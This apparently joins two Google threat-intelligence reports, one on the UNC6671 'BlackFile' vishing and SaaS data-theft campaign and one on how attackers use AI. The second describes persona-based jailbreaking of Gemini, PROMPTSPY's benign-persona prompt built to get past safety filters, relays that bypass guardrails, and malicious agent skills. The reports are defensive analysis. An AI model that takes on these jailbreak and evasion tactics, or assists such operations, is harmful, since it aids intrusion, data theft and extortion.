Written by: Austin Larsen, Tyler McLellan, Genevieve Stark, Dan Ebreo

Introduction 

Google Threat Intelligence Group (GTIG) has continued to track an expansive extortion campaign by UNC6671, a threat actor operating under the "BlackFile" brand, that targets organizations via sophisticated voice phishing (vishing) and single sign-on (SSO) compromise. By leveraging adversary-in-the-middle (AiTM) techniques to bypass traditional perimeter defenses and multi-factor authentication (MFA), UNC6671 gains deep access to cloud environments. The group primarily targets Microsoft 365 and Okta infrastructure, leveraging Python and PowerShell scripts to programmatically exfiltrate sensitive corporate data for subsequent extortion attempts. This post details UNC6671’s attack lifecycle and provides defenders with actionable guidance to detect and mitigate these identity-centric threats.

Since emerging in early 2026, UNC6671 has maintained a high operational cadence. GTIG assesses that the group has targeted dozens of organizations across North America, Australia, and the UK.

GTIG previously highlighted UNC6671 as a distinct cluster in a prior report detailing similar SaaS data-theft techniques utilized by ShinyHunters (UNC6240). While UNC6671 has co-opted the ShinyHunters brand in at least one instance to inject artificial credibility into their threats, GTIG assesses that the operations are independent. This distinction is supported by UNC6671's use of separate TOX communication channels, unique domain registration patterns, and the launch of a dedicated "BlackFile" data leak site (DLS).

These compromises are not the result of a security vulnerability in vendor products or infrastructure. Instead, this campaign continues to highlight the effectiveness of social engineering and underscores the critical importance of organizations moving toward phishing-resistant MFA to protect their SaaS and identity platforms.

Initial Access

UNC6671 initial access operations rely on high-volume voice phishing (vishing), often characterized by meticulous social engineering tactics, synchronized with real-time credential harvesting. These vishing calls are typically made by "callers" hired by the threat actor. 

IT Deployment Pretext

The callers often call targeted employees' personal cellular phones to bypass security tooling and move the victim away from standard support channels. They typically masquerade as internal IT or help desk personnel, citing a mandatory migration to passkeys or a required multi-factor authentication (MFA) update. This pretext justifies directing the victim to a credential harvesting site and provides a logical cover for any subsequent security alerts generated during the compromise. UNC6671 has shifted from unique, organization-tailored credential harvesting domains to a subdomain-based model. These domains are typically registered with Tucows. Recent campaigns have used subdomains explicitly referencing "passkey" or "enrollment" themes to enhance the legitimacy of the help desk pretext.

• <organization>.enrollms[.]com
• <organization>.passkeyms[.]com
• <organization>.setupsso[.]com

Real-Time MFA Interception

The vishing call functions as a live adversary-in-the-middle (AitM) attack. The process follows a rapid, procedural lifecycle:

• Redirection: The victim is directed to a lookalike subdomain mirroring the organization's single sign-on (SSO) portal.

• Credential Capture: As the victim inputs their username and password, the threat actor captures these in real-time and immediately submits them to the legitimate SSO provider.

• MFA Bypass: When the legitimate portal issues an MFA challenge (Push, SMS, or TOTP), the victim—believing they are completing a setup step—provides the code or approval to the threat actor.

• Device Registration: Upon gaining access, the threat actor immediately navigates to the user's security settings to register a new, attacker-controlled MFA device to ensure persistence.

The speed of this execution ensures the threat actor can establish a permanent foothold before the victim or the organization's Security Operations Center (SOC) can identify the anomaly.

Data Theft

Following successful authentication, UNC6671 leverages SSO access to move laterally across the victim's SaaS applications to enable data theft operations. The threat actors appear to be focused on targeting Microsoft 365 and Okta environments, using compromised accounts to access SharePoint, OneDrive, and other connected SaaS applications such as Zendesk and Salesforce. In several instances, the actors specifically queried internal search functions for string literals such as "confidential" and "SSN" to prioritize theft of perceived high-value data.

Programmatic Data Exfiltration

Upon establishing persistence, UNC6671 transitions from interactive browser-based reconnaissance to automated exfiltration. In multiple engagements, we observed the use of scripts to harvest high-value data from SharePoint and OneDrive repositories.

In addition to relying on methods that triggered standard FileDownloaded events, the threat actor has also used less conspicuous approaches. These include the threat actor’s use of formal APIs, such as Microsoft Graph, as well as  the python-requests library and PowerShell to issue direct HTTP GET requests against document resource URLs. Notably, by repurposing valid session cookies (e.g., FedAuth) captured during the initial vishing phase, the actor has been able to "stream" file content directly to attacker-controlled infrastructure.

In these cases, the request mimics a standard web client fetch rather than a formal "Download" command. As a result, the activity is frequently recorded as a FileAccessed event rather than FileDownloaded. This 'direct fetch' method naturally blends into routine traffic, which may bypass detection in many Security Operations Centers (SOCs) that prioritize FileDownloaded events and treat FileAccessed as benign.

Forensic Artifacts and Scripting

Analysis of Microsoft 365 Unified Audit Log (UAL) telemetry revealed several consistent forensic indicators of UNC6671 activity, including clear evidence of scripted exfiltration. Most notably, the threat actor frequently showed User-Agent mismatches; while they spoofed the ClientAppId for "Microsoft Office" to bypass basic conditional access filters, the recorded UserAgent strings identified scripting engines such as python-requests/2.28.1 or WindowsPowerShell/5.1. This discrepancy suggests that access was driven by automated scripts rather than human interaction with the SharePoint user interface. Additionally, these access attempts consistently originated from non-standard infrastructure, such as commercial VPN exit nodes and hosting providers.

{
  "CreationTime": "2026-02-24T14:36:15",
  "Operation": "FileDownloaded",
  "Workload": "SharePoint",
  "ClientIP": "179.43.185.226", 
  "UserId": "victim.user@organization.com",
  "UserAgent": "python-requests/2.28.1",
  "ApplicationDisplayName": "Microsoft Office",
  "IsManagedDevice": false,
  "SourceFileName": "2382_REDACTED_MSA_v3.docx",
  "SourceRelativeUrl": "Shared Documents/Legal/MasterMSA/Archive",
  "SiteUrl": "https://organization.sharepoint.com/sites/Legal_Archive/",
  "AppAccessContext": {
    "ClientAppId": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
    "ClientAppName": "Microsoft Office",
    "TokenIssuedAtTime": "1601-01-01T00:00:00"
  }
}

Figure 1: FileDownloaded event observed in early UNC6671 intrusions

{
  "CreationTime": "2026-03-18T20:06:41",
  "Operation": "FileAccessed",
  "Workload": "SharePoint",
  "UserId": "victim.user@company.com",
  "ClientIP": "179.43.185.226", 
  "UserAgent": "python-requests/2.28.1",
  "ApplicationDisplayName": "python-requests",
  "IsManagedDevice": false,
  "SourceRelativeUrl": "Shared Documents/Data Analytics/Power BI Version History",
  "SourceFileName": "Weekly Production Report.pbix",
  "SiteUrl": "https://company.sharepoint.com/sites/ProductionOps/",
  "AppAccessContext": {
    "ClientAppName": "python-requests",
    "CorrelationId": "b94b01a2-2019-c000-2262-5ff1d0ff6cc8"
  }
}

Figure 2: FileAccessed event from later UNC6671 intrusions

The speed and scale of UNC6671’s data exfiltration also reflects the automated nature of these scripts, which allows the threat actors to exfiltrate massive volumes of data at high speeds. In one case, the threat actor used their Python script from a remote IP to access and download over a million individual files from a victim's SharePoint and OneDrive environments. In another case, the threat actor rapidly iterated through tens of thousands of SharePoint file interactions.

Extortion

UNC6671 conducts highly targeted extortion campaigns, beginning with unbranded ransom notes sent from programmatically generated consumer email accounts. Once a victim engages via the unique, encrypted communication channel (such as Tox or Session) provided by the threat actor in the initial ransom note, the operators identify themselves under the "BlackFile" brand. While the operators typically open negotiations with initial demands in the millions of dollars, they often pivot to low six-figure demands when met with active engagement. Notably, while the initial emails typically do not contain errors, at least some follow up emails have contained mistakes suggesting that those are human generated.

In cases where the operator is met with silence or resistance, the group aggressively escalates pressure. During a recent incident, after the victim was unresponsive, UNC6671 pivoted to an aggressive spam campaign. Using dozens of Gmail accounts with randomly generated usernames, the threat actor flooded employee mailboxes with messages before automated restrictions kicked in based on their sending behavior and their accounts were restricted. We have also observed these threat actors sending threatening voicemails to C-suite executives and, in severe cases, utilizing swatting tactics against company personnel.

Figure 3: Generalized example initial unbranded extortion note from UNC6671

Figure 4: Generalized example follow up extortion email which included branding not present in initial messages

Evolution of Ransom Notes

Throughout their operations in early 2026, UNC6671's ransom notes exhibited an evolution in formatting, branding, and communication methods. Initially, the threat actors used highly aggressive, short-term deadlines, often giving early victims generic 24 or 48 hour windows to respond. This appeared to become more standardized in late January when they gave subsequent targets a strict 72-hour deadline. Their email subject lines also evolved into a formalized, all-caps structure: [COMPANY NAME] DATA BREACH 72 HOURS TO CONTACT US.

During this same period, the group’s identity and preferred communication channels shifted. Early extortion emails were unbranded, with the actors demanding contact via Tox (a peer-to-peer instant messaging protocol). By February 2026, the group formally adopted the "BlackFile" moniker and transitioned their communication demands exclusively to Session (a decentralized, privacy-focused messenger), providing victims with Session IDs and client download instructions. Additionally, while early extortion notes were sent from external emails that could easily be flagged by spam filters or ignored, since at least March 2026, UNC6671 has leveraged hijacked internal corporate email and Microsoft Teams accounts. 

The BlackFile Data Leak Site (DLS)

The threat actors launched the BlackFile Data Leak Site (DLS) on February 6, 2026, claiming to operate as "security researchers." Despite maintaining a dedicated DLS, the group's approach to data exposure deviates significantly from the maximum-publicity, high-noise model employed by other actors. UNC6671 does not publicly advertise their leak site or attempt to index it for search engines. Furthermore, the group has typically only leaked limited file samples and directory listings rather than full datasets; to date, GTIG has not observed the actor leak victim data in full.

Notably, the BlackFile DLS site went offline in late April 2026, but briefly came back online on May 11, 2026 to share the below message before shutting down again. In this message, the threat actor stated "BlackFile is shutting down… under this name." As of the time of publication, the DLS site is inaccessible.

Remediation and Hardening

GTIG recommends the following mitigations and hunting strategies:

• Deploy Credential Guarding: Configure environment-specific protections to catch credential submission at the point of impact. In Google Workspace, enable Password Alert to monitor for corporate password hashes being entered into unauthorized domains. For Microsoft environments, leverage Microsoft Defender's Credential Protection and SmartScreen to intercept submissions on known phishing or low-reputation sites. These automated technical controls act as a final fail-safe, triggering immediate password resets or security alerts when a user inadvertently interacts with a malicious page.

• Implement Phishing-Resistant MFA: Transition away from SMS-based or push-notification MFA. Implement FIDO2-compliant security keys or passkeys, which are resistant to the adversary-in-the-middle (AiTM) and vishing tactics employed by UNC6671.

• Monitor IdP Logs: Review identity provider logs for system.multifactor.factor.setup events that are immediately preceded by user.authentication.auth_via_mfa failures or "Abandoned" challenges.

• Correlate Infrastructure: Alert on authentication attempts originating from known commercial VPNs or hosting providers that are abnormal for the user's typical geographic location.

• Audit SaaS API Activity: Monitor Microsoft 365, SharePoint, and Salesforce audit logs for anomalous, high-volume file downloads (FileDownloaded or FileAccessed events) originating from generic scripting user agents (e.g., PowerShell, Python).

• Monitor User-Agents: Monitor for specific IdP SDK User-Agents on devices not previously associated with a user's profile.

• Re-Evaluate "Access" Severity: Security Operations Centers (SOCs) should treat FileAccessed events with the same criticality as FileDownloaded when the User-Agent identifies it as a programming library (Python, Go, etc.) or a command-line tool.

• Audit for Direct File Streaming: Monitor for FileAccessed logs where the AppAccessContext indicates a headless client or where the volume of "Accessed" files in a short window exceeds human browsing capability.

Outlook and Implications

The recent shutdown of the BlackFile data leak site (DLS) accompanied by the actors' own declaration that they are shutting down "under this name" signals a possible transition phase rather than a permanent cessation of their threat activity. Historical precedents across the extortion ecosystem demonstrate that major threat clusters commonly rebrand or disperse their operations following disruption or voluntary shutdowns. These events can serve several strategic functions: evading law enforcement or competitor scrutiny, quietly resolving pending extortion cases, or preparing to pivot to a more viable brand while simultaneously also allowing time for the threat actors to retool and/or set up new infrastructure. Even if the BlackFile brand is permanently retired, the techniques leveraged by UNC6671, specifically their focus on data theft from cloud and SaaS environments, represent a highly successful trend in the cyber crime threat landscape that we also highlighted in the Google Cloud H1 2026 Cloud Threat Horizons Report. Organizations can review our prior blog post with actionable hardening, logging, and detection recommendations to help protect against these threats.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have provided indicators of compromise (IOCs) in a free GTI Collection for registered users. At the time of publication, identified phishing domains have been added to Google Safe Browsing.

While this collection provides a comprehensive list of IOCs, defenders should note that the majority of identified IP addresses are commercial VPN nodes, and actual source IPs tend to vary as the actor continuously cycles through new infrastructure. Furthermore, the domains are often stood up and used within minutes of registration; as such, they are provided primarily as examples of past naming conventions and usage patterns rather than as a primary mechanism for real-time blocking.

Google Security Operations (SecOps)

Google SecOps customers have access to broad category rules under the Okta and O365 rule packs that detect the behaviors outlined in this report. The activity discussed in the blog post is detected in Google SecOps under the following rule names:

• Okta Admin Console Access Failure

• Okta Suspicious Actions from Anonymized IP

• O365 SharePoint Bulk File Access or Download via PowerShell

• O365 SharePoint High Volume File Access Events

• O365 Sharepoint Query for Proprietary or Privileged Information

Executive Summary

Since our February 2026 report on AI-related threat activity, Google Threat Intelligence Group (GTIG) has continued to track a maturing transition from nascent AI-enabled operations to the industrial-scale application of generative models within adversarial workflows. This report, based on insights derived from Mandiant incident response engagements, Gemini, and GTIG’s proactive research, highlights the dual nature of the current threat environment where AI serves as both a sophisticated engine for adversary operations and a high-value target for attacks. We explore the following developments:

• Vulnerability Discovery and Exploit Generation: For the first time, GTIG has identified a threat actor using a zero-day exploit that we believe was developed with AI. The criminal threat actor planned to use it in a mass exploitation event but our proactive counter discovery may have prevented its use. Threat actors associated with the People’s Republic of China (PRC) and the Democratic People's Republic of Korea (DPRK) have also demonstrated significant interest in capitalizing on AI for vulnerability discovery. 

• AI-Augmented Development for Defense Evasion: AI-driven coding has accelerated the development of infrastructure suites and polymorphic malware by adversaries. These AI-enabled development cycles facilitate defense evasion by enabling the creation of obfuscation networks and the integration of AI-generated decoy logic in malware that we have linked to suspected Russia-nexus threat actors.

• Autonomous Malware Operations: AI-enabled malware, such as PROMPTSPY, signal a shift toward autonomous attack orchestration, where models interpret system states to dynamically generate commands and manipulate victim environments. Our analysis of this malware reveals previously unreported capabilities and use cases for its integration with AI. This approach allows threat actors to offload operational tasks to AI for scaled and adaptive activity.

• AI-Augmented Research and IO: Adversaries continue to leverage AI as a high speed research assistant for attack lifecycle support, while shifting toward agentic workflows to operationalize autonomous attack frameworks. In information operations (IO) campaigns, these tools facilitate the fabrication of digital consensus by generating synthetic media and deepfake content at scale, exemplified by the pro-Russia IO campaign “Operation Overload.”

• Obfuscated LLM Access: Threat actors now pursue anonymized, premium tier access to models through professionalized middleware and automated registration pipelines to illicitly bypass usage limits. This infrastructure enables large scale misuse of services while subsidizing operations through trial abuse and programmatic account cycling.

• Supply Chain Attacks: Adversaries like "TeamPCP" (aka UNC6780) have begun targeting AI environments and software dependencies as an initial access vector. These supply chain attacks result in multiple types of machine learning (ML)-focused risks outlined in the Secure AI Framework (SAIF) taxonomy, namely Insecure Integrated Component (IIC) and Rogue Actions (RA). Our analysis of forensic data associated with these attacks reveals threats actors attempting to pivot from compromised AI software to broader network environments for initial access and to engage in disruptive activities, such as ransomware deployment and extortion.

Attackers rarely shy away from experimentation and innovation, but neither do we. In addition to  sharing our findings and mitigations with the larger security and AI community, Google employs proactive measures to stay ahead of these constantly changing threats. Google enhances our products’ safeguards to offer scaled protections to users. For Gemini, we mitigate model abuse by disabling malicious accounts. Furthermore, we leverage AI agents like Big Sleep to identify software vulnerabilities and use Gemini’s reasoning capabilities via the likes of CodeMender to automatically fix them, proving that AI can also be a powerful tool for defenders.

AI as a Tool

Threat actors are leveraging AI to augment various phases of the attack lifecycle. This includes supporting the development of vulnerability exploits and malware, facilitating autonomous execution of commands, enabling more targeted and well-researched reconnaissance, and improving the efficacy of social engineering and information operations.

AI-Augmented Vulnerability Discovery and Exploit Development

As the coding capabilities of AI models advance, we continue to observe adversaries increasingly leverage these tools as expert-level force multipliers for vulnerability research and exploit development, including for zero-day vulnerabilities. While these tools empower defensive research, they also lower the barrier for adversaries to reverse-engineer applications and develop sophisticated, AI-generated exploits.

State-Sponsored Threat Actors Demonstrate Sophisticated Approaches to Leveraging AI for Vulnerability Research

While we observe a variety of threat actors leveraging AI for vulnerability research, we noted a particular interest from several clusters of threat activity associated with the People’s Republic of China (PRC) and the Democratic People's Republic of Korea (DPRK). These actors have leveraged sophisticated approaches toward AI-augmented vulnerability discovery and exploitation, beginning with persona-driven jailbreaking attempts and the integration of specialized, high-fidelity security datasets to augment their vulnerability discovery and exploitation workflows.

• As we highlighted in prior blog posts, threat actors often leverage expert cybersecurity personas as a structured approach to prompt Gemini. For instance, we recently observed UNC2814 use this form of expert persona prompting by directing the model to act as a senior security auditor or C/C++ binary security expert. The fabricated scenarios were used to support vulnerability research into various embedded device targets, including TP-Link firmware and Odette File Transfer Protocol (OFTP) implementations.

Figure 1: Example of false narratives used to support persona-driven jailbreaking, a simple form of prompt injection

• In a more sophisticated use case, we observed threat actors experiment with a specialized vulnerability repository hosted on GitHub known as “wooyun-legacy.” The project is designed as a Claude code skill plugin that integrates a distilled knowledge base of over 85,000 real-world vulnerability cases collected by the Chinese bug bounty platform WooYun between 2010 and 2016. By priming the model with vulnerability data, it facilitates in-context learning to steer the model to approach code analysis like a seasoned expert and identify logic flaws that the base model might otherwise fail to prioritize.

In their pursuit of this vulnerability research, we see clear indications of automation and scaled research. In addition to leveraging individual prompts for real-time troubleshooting, we have observed APT45 sending thousands of repetitive prompts that recursively analyze different CVEs and validate PoC exploits. This results in a more robust arsenal of exploit capabilities that would be impractical to manage without AI assistance.

To facilitate these activities, actors are also experimenting with agentic tools such as OpenClaw and OneClaw alongside intentionally vulnerable testing environments. The use of these tools alongside vulnerability research suggests an interest in refining AI-generated payloads within controlled settings to increase exploit reliability prior to deployment.

Cyber Crime Threat Actors Discover and Weaponize Zero-Day Using AI

Cyber crime threat actors remain interested in leveraging AI for vulnerability development as well. In one notable example, we observed prominent cyber crime threat actors partnering to plan a mass vulnerability exploitation operation. Our analysis of exploits associated with this campaign identified a zero-day vulnerability implemented in a Python script that enables the user to bypass two-factor authentication (2FA) on a popular open-source, web-based system administration tool. GTIG worked with the impacted vendor to responsibly disclose this vulnerability and disrupt this threat activity.

Although we do not believe Gemini was used, based on the structure and content of these exploits, we have high confidence that the actor leveraged an AI model to support the discovery and weaponization of this vulnerability. For example, the script contains an abundance of educational docstrings, including a hallucinated CVSS score, and uses a structured, textbook Pythonic format highly characteristic of LLMs training data (e.g., detailed help menus and the clean _C ANSI color class).

The vulnerability can be classified as a 2FA bypass, though it requires valid user credentials in the first place. It stems not from common implementation errors like memory corruption or improper input sanitization, but a high-level semantic logic flaw where the developer hardcoded a trust assumption. While fuzzers and static analysis tools are optimized to detect sinks and crashes, frontier LLMs excel at identifying these types of high-level flaws and hardcoded static anomalies. Though frontier LLMs struggle to navigate complex enterprise authorization logic, they have an increasing ability to perform contextual reasoning, effectively reading the developer's intent to correlate the 2FA enforcement logic with the contradictions of its hardcoded exceptions. This capability can allow models to surface dormant logic errors that appear functionally correct to traditional scanners but are strategically broken from a security perspective.

AI-Augmented Obfuscation: Evasion and Polymorphism

GTIG has identified multiple threat actors experimenting with AI models to develop malware and operational support tools to augment obfuscation capabilities. This has included innovative applications of AI to incorporate just-in-time dynamic modification of source code, enable dynamic payload generation, assist in development of ORB network management tools, and generate decoy code (Table 1). While often experimental, this transition underscores a move toward AI-driven, evasive software suites.

In prior reports, we highlighted malware families like PROMPTFLUX, notable for its experimentation using the Gemini API to generate code, and HONESTCUE, which interacts with Gemini's API to request specific VBScript obfuscation and evasion techniques to facilitate just-in-time self-modification to evade static signature-based detection. In this report, we highlight additional tools and malware families created with the assistance of AI to support obfuscation and defense evasion.

We observed activity associated with the PRC-nexus threat actor APT27, which has leveraged Gemini to accelerate the development of a fleet management application likely to support the management of an operational relay box (ORB) network. Our observations of the tool revealed a "maxHops" parameter hardcoded to 3 hops, an indicator that the tool was related to development of an anonymization network rather than a VPN since those are typically set to 1 hop. Additionally, the tool lists MOBILE_WIFI and ROUTER as supported device types, suggesting it uses 4G or 5G SIM cards to provide residential IP addresses to potentially obfuscate the true origin of the intrusion activity. 

Additionally, GTIG has continued to observe Russia-nexus intrusion activity targeting Ukrainian organizations to deliver AI-enabled malware as part of their operations. Analysis confirms the use of CANFAIL and LONGSTREAM, which utilize LLM-generated decoy code to obfuscate their malicious functionality. 

• We identified multiple developer (i.e., the LLM) comments throughout CANFAIL's source code that specifically call out certain blocks of code that are not used and were likely incorporated as filler content designed to obfuscate malicious activity. The explanatory nature of these comments surrounding the decoy logic likely indicates the threat actor requested the LLM generate outputs that intentionally contained large amounts of inert code potentially for obfuscation (Figure 4).

• Similarly, our examination of the LONGSTREAM code family suggests a large volume of decoy logic was likely generated to camouflage the malicious nature of the code family. LONGSTREAM contains coherent but inactive blocks of code related to administrative tasks that are unrelated to the primary objective of the downloader. For example, we identified 32 instances of the code querying the system's daylight saving status. This type of repetitive query exists to populate the script with activity that can appear benign (Figure 5).

AI-Augmented Attack Orchestration: PROMPTSPY

Adversaries are advancing their implementation of AI-enabled tooling, moving beyond content generation and tool development and into more sophisticated autonomous attack orchestration for malware commands. Threat actors have begun relying on LLMs for interactive system navigation and real-time decision making. By integrating LLMs into malware operations, attackers can enable payloads to act autonomously, independently interacting with the victim environment or device, synthesizing system states, and executing precise commands devoid of human supervision.

A primary example of this evolution is PROMPTSPY, an Android backdoor first identified by ESET. Initial public reporting highlighted PROMPTSPY’s use of the Google Gemini application programming interface (API) to facilitate persistence, specifically by navigating the Android UI to pin the malicious application in the "recent apps" list. However, GTIG's examination of the backdoor revealed additional capabilities and use cases for its AI integration. We assess the malware's LLM component was designed to be extensible to support a broader range of goals centered around navigating the Android user interface and autonomously interpreting real-time user activity for follow-on actions. 

PROMPTSPY contains an autonomous agent module named “GeminiAutomationAgent,” which leverages a hardcoded prompt to facilitate automated interaction with the targeted device.

• The prompt assigns a benign persona to bypass the LLM's safety filters, then requests an analysis of complex spatial mathematics by instructing the LLM to calculate the geometry of the targeted user interface bounds. This is paired with a set of "Core Judgment Rules" that implement anti-hallucination measures and a “User Goal” concatenated to the prompt as part of a separate routine (Figure 6).

• The module then serializes the device's visible user interface hierarchy into an XML-like format via the Accessibility API, sending this payload to the “gemini-2.5-flash-lite” model via an HTTP POST request in "JSON Mode." 

• The model returns a structured JSON response based on the supplied user goal, dictating specific action types and spatial coordinates, which the malware parses using a packed-switch instruction to simulate physical gestures (e.g., CLICK, SWIPE). Since the user goal is not hardcoded in the initial prompt but supplied as part of a separate routine, we believe PROMPTSPY was likely designed to facilitate multiple types of device interactions.

Additionally, PROMPTSPY can capture victim biometric data to replay authentication gestures (personal identification numbers or lock patterns) to regain access to a compromised device for follow-on exploitation. These AI-enabled capabilities are a notable evolution from conventional Android backdoors that heavily rely on human interaction.

To maintain persistence, PROMPTSPY utilizes a novel multi-layered defense mechanism to camouflage its activity and prevent uninstallation. 

• If the victim tries to uninstall PROMPTSPY, the malware employs its 'AppProtectionDetector' module to identify the on-screen coordinates of the 'Uninstall' button. The malware renders an invisible overlay directly over the button as a shield that silently intercepts and consumes the victim's touch events, making the button appear unresponsive to the user.

• If the victim device becomes inactive, PROMPTSPY operators can utilize Firebase Cloud Messaging (FCM) to relaunch the backdoor, allowing the threat actor to continue their intrusion activity without alerting the victim. 

While PROMPTSPY initializes using hardcoded default infrastructure and credentials, the malware is designed with high operational resilience, allowing adversaries to rotate critical components at runtime without redeploying the PROMPTSPY payload. Specifically, the malware’s command-and-control (C2) infrastructure, including the Gemini API keys and the VNC relay server, can be updated dynamically via the C2 channel. This configuration model demonstrates the developers anticipated defensive countermeasures and engineered the backdoor to maintain presence even if specific infrastructure endpoints are identified and blocked by defenders.

Google has taken action against this actor by disabling the assets associated with this activity. Based on our current detection, no apps containing PROMPTSPY are found on Google Play. Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services.

AI-Augmented Research, Reconnaissance, and Attack Lifecycle Support

Malicious adversaries' most common use case for LLMs mirrors that of standard users – they conduct research and troubleshoot tasks. GTIG has observed a variety of threat actors engaging in this type of prompting to support research, reconnaissance, and troubleshooting throughout various phases of the attack lifecycle. By automating intelligence gathering and task support, these interactions lower the barrier to entry for complex, multi-stage operations and enable threat actors to focus their human capital on the higher-order strategic elements of campaigns.

Adversaries frequently use LLMs to perform reconnaissance that would previously have required significant manual effort. For instance, we have observed actors prompting models to generate detailed organizational hierarchies for specific departments and third-party relationships of large enterprises, particularly those involving high-value functions like finance, internal security, and human resources. This data allows for the creation of higher-fidelity phishing lures tailored to individuals with administrative privileges or access to sensitive data, moving beyond the commodity tactics of traditional bulk phishing.

In more targeted scenarios, actors have used LLMs to identify specific hardware or software environments used by their victims. In one instance, a threat actor attempted to identify the exact make and model of a computer used by a high-value target, even requesting the LLM identify a collection of photos showing the targeted individual using the device. This level of environmental fingerprinting often precedes the development of tailored exploits or identification of side-channel attack opportunities.

Beyond basic chat interfaces, we see a sophisticated shift toward agentic workflows where adversaries operationalize autonomous frameworks to execute multi-stage security tasks. This marks a significant evolution in the maturity of AI-related threats: the LLM is no longer merely a passive advisor but an active participant in the offensive chain, capable of orchestrating complex toolsets and making tactical decisions at machine speed.

For example, we recently analyzed a suspected PRC-nexus threat actor deploying agentic tools like Hexstrike and Strix against a Japanese technology firm and a prominent East Asian cybersecurity platform. Hexstrike was utilized alongside the Graphiti memory system, a temporal knowledge graph, to maintain a persistent state of the attack surface, allowing the agent to autonomously pivot between tools like subfinder and httpx based on its internal reasoning. Simultaneously, the actor leveraged Strix, a multi-agent penetration testing framework, to automate the identification and validation of vulnerabilities. This combination of autonomous reconnaissance and automated verification suggests a transition toward AI-driven frameworks that can scale discovery activities with minimal human oversight.

AI-Augmented Information Operations

GTIG continues to observe information operations (IO) actors use AI for common productivity tasks like research, content creation, and localization. We have also identified activity indicating threat actors solicit the tool to help craft articles, generate assets, and assist in coding. However, we have not identified this generated content in the wild, and none of these attempts have created breakthrough capabilities for IO campaigns. 

Actors from Russia, Iran, China, and Saudi Arabia are producing political satire and materials to advance specific narratives across both digital platforms and physical media, such as printed posters. The primary advances we have seen in this area include actors appearing more successful in developing tooling in support of their workflows and the growing adoption of AI-generated narrative audio to address contentious political topics. 

AI to Support IO Tactics

GTIG’s tracking of IO threats across the open internet continues to uncover activity illustrating how threat actors use AI tooling to enhance established tactics. For example, GTIG uncovered activity linked to the pro-Russia IO campaign “Operation Overload,” involving video content that leveraged suspected AI voice cloning to impersonate real journalists. This likely represents an AI-supported advancement of the campaign's established tactics, which have long included inauthentic video content designed to appropriate the branding and legitimacy of media and other high profile organizations in support of campaign messaging. 

In identified instances, the actors appear to have manipulated an authentic video to convey a false message. This content appears to splice original vertical videos with montages and fabricated audio to create false and misleading messaging. The close voice match to the original suggests the use of AI tools (Figure 7).

Obfuscated and Scalable Access to LLMs

As the generative AI landscape matures, the methods by which threat actors procure and operationalize these models have shifted from simple experimentation to industrial-scale consumption. Although in prior blog posts we have highlighted AI tools and services offered in the underground, we continue to observe both state-sponsored and cyber crime threat actors leveraging commercially available foundation models and AI-native application building platforms in their pursuit of malicious activity. 

In threat actor engagement with these tools, GTIG has observed a sophisticated evolution to an emerging ecosystem of custom middleware, proxy relays, and automated registration pipelines designed to bypass safety guardrails and billing constraints. By leveraging anti-detect browsers and account-pooling services, actors are attempting to maintain high-volume, anonymized access to premium LLM tiers, effectively industrializing their adversarial workflows while subsidizing their operations through trial abuse and programmatic account cycling.

In our analysis of PRC-nexus threat activity associated with UNC6201, we observed attempted use of a publicly available Python script hosted on GitHub that automates a workflow to register and immediately cancel premium LLM accounts. The tool allegedly supports the entire process from automatic account registration, CAPTCHA bypassing, and SMS verification to account status confirmation and cancellation. This process highlights the methods adversaries leverage to procure high-tier AI capabilities at scale while insulating their malicious activity from account bans.

We have observed similar activity from UNC5673, a PRC-nexus threat cluster that has notable overlaps with TEMP.Hex and that has targeted government sectors primarily in South and Southeast Asia. Beyond LLM account registration, the actor has leveraged an array of publicly available commercial tools and GitHub projects that indicate the development of obfuscated and scalable LLM abuse. For example, they employ "Claude-Relay-Service" to aggregate multiple Gemini, Claude, and OpenAI accounts, enabling account pooling and cost-sharing. Similarly, they use "CLI-Proxy-API," a proxy server that provides compatible API interfaces for various models to support similar account pooling strategies.

To mitigate the nature of this obfuscation, LLM providers can build signal logic to analyze network infrastructure data associated with AI-related API aggregators. This data helps to enable the disruption efforts we highlight in this report.

AI as a Target

As organizations continue integrating large language models (LLMs) into production environments, the AI software ecosystem has emerged as a primary target for exploitation. While frontier models themselves remain highly resilient to direct compromise, the orchestration layers, including open-source wrapper libraries, API connectors, and skill configuration files, can be vulnerable. GTIG has observed adversaries increasingly target the integrated components that grant AI systems their utility, such as autonomous skills and third-party data connectors.

Supply Chain Attacks Against AI Components

Throughout early 2026, we observed that threat actors have not yet achieved breakthrough capabilities to bypass the core security logic of frontier models. Instead, these actors are leveraging traditional supply chain tactics, such as embedding malicious logic in popular integration libraries or distributing trojanized configuration files, to gain initial access to production AI environments. These incidents often align with risks described in the Secure AI Framework (SAIF) taxonomy, specifically:

• Insecure Integrated Component (IIC): Inclusion of compromised external dependencies that undermine the system.

• Rogue Actions (RA): Exploitation of AI systems with elevated permissions to execute unauthorized commands or exfiltrate credentials.

Weaponized OpenClaw Skills

These risks became more apparent in early February 2026, when VirusTotal researchers reported on security risks associated with the OpenClaw AI agent ecosystem, including AI software supply chain risks and vulnerabilities introduced via malicious and insecure skill packages. Most notably, we observed the distribution of malicious packages masquerading as OpenClaw skills containing hidden routines designed to execute unauthorized code and commands on the host system. Given the elevated level of system access that OpenClaw is granted, a skill could be used to perform various privileged actions such as executing code, downloading additional payloads, and discovering and exfiltrating local data.

Further, even if not inherently malicious, insecure packages could expose users to additional risks. Legitimate skills that fail to leverage secure practices when handling sensitive information, such as credentials or authentication information, could inadvertently expose this information to attackers. This could make this information susceptible to theft by techniques like prompt injection, other malicious skills, or traditional malware threats like infostealers.  

While the risk of malicious or insecure skills and agent components are not unique to the OpenClaw platform, the discovery of these packages highlights the growing attack surface among AI development platforms and the agentic ecosystem more broadly. Further, the difficulty in identifying and discerning malicious packages from legitimate skills presents significant challenges for defenders. Although this infection vector is opportunistic by nature, the ease by which these skills can be created and distributed could make it an attractive option for a myriad of threat actors seeking access to users’ systems.

To help mitigate these supply-chain risks, OpenClaw has partnered with VirusTotal to integrate automated security scanning directly into ClawHub, its public skill marketplace. Every skill published to the repository is now automatically analyzed using VirusTotal's Code Insight capability, which evaluates the package's actual code behavior to detect unauthorized network operations, malicious payloads, or unsafe embedded instructions. Based on this security-focused analysis, skills are either approved as benign, flagged with user warnings, or blocked entirely, providing an essential layer of defense against ecosystem abuse.

Compromised Code Packages

